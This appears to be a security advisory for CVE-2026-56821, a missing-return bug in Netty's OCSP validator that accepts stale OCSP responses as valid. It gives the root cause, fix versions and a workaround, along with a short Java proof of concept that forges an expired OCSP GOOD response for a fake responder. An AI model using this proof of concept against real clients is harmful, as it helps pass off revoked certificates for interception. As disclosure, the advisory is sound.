CVE-2026-56821: netty-handler-ssl-ocsp Stale OCSP Response Accepted as Valid
A missing return statement in Netty's OCSP certificate validator lets an on-path attacker replay an expired OCSP GOOD response to make a revoked server certificate appear valid.
The problem
OcspServerCertificateValidator checks whether an OCSP response is within its validity window (thisUpdate to nextUpdate), but the freshness check fires an exception without returning. Execution continues and a VALID OcspValidationEvent is still emitted to the pipeline.
Because nonce validation is disabled by default, freshness is the only replay defense, and it is not enforced. A secondary bug: if the responder omits nextUpdate, calling current.before(null) throws NullPointerException and crashes the handler entirely.
Proof of concept
A working proof-of-concept for CVE-2026-56821 in io.netty:netty-handler-ssl-ocsp, with the exact payload below.
// Attacker-controlled OCSP responder returns a response where both
// thisUpdate and nextUpdate are 7 days in the past.
// The validator fires IllegalStateException but does NOT return,
// so VALID is still reported to the caller.
Date past = new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(7));
BasicOCSPRespBuilder respBuilder = new BasicOCSPRespBuilder(
new RespID(new JcaX509CertificateHolder(caRoot.getCertificate()).getSubject()));
// addResponse(certId, status, thisUpdate, nextUpdate)
// Both timestamps are 7 days old => response is stale
respBuilder.addResponse(certId, CertificateStatus.GOOD, past, past);
BasicOCSPResp expiredResp = respBuilder.build(
new JcaContentSignerBuilder("SHA256withRSA").build(caPrivKey),
new X509CertificateHolder[0],
past);
byte[] staleOcspBytes = new OCSPRespBuilder()
.build(OCSPRespBuilder.SUCCESSFUL, expiredResp).getEncoded();
// Serve staleOcspBytes from a fake OCSP responder.
// Vulnerable Netty client receives OcspValidationEvent(VALID)
// despite the response being 7 days expired.The root cause is a missing return in OcspServerCertificateValidator#userEventTriggered. When the freshness check fails, the code calls ctx.fireExceptionCaught(...) but falls through to the line that fires OcspValidationEvent(VALID). The patch adds an explicit return (or restructures the block with an else) so that an out-of-date response cannot simultaneously raise an exception and report success.
The fix also guards against a null nextUpdate field before calling Date.before(), eliminating the secondary NPE crash path. CWE-299 (Improper Check for Certificate Revocation) is the correct classification: the check exists but its result is ignored.
The fix
Upgrade to io.netty:netty-handler-ssl-ocsp 4.2.16.Final (or 4.1.136.Final for the 4.1.x line). No workaround exists short of not relying on OcspServerCertificateValidator for revocation enforcement. If upgrade is blocked, wrap the validator in a custom handler that explicitly rejects any event that is not OcspResponse.Status.VALID.
Reported by Netty Security Team.
Related research
- high · 7.4CVE-2026-56822CVE-2026-56822: netty-handler-ssl-ocsp TOCTOU Race in OcspServerCertificateValidator
- high · 7.4CVE-2026-56820CVE-2026-56820: Netty OcspClient OCSP Response Replay Attack
- highCVE-2026-56745CVE-2026-56745: netty-codec-http SpdyHttpDecoder ByteBuf Reference Leak
- highCVE-2026-59901CVE-2026-59901: Netty Bzip2Decoder Infinite Loop DoS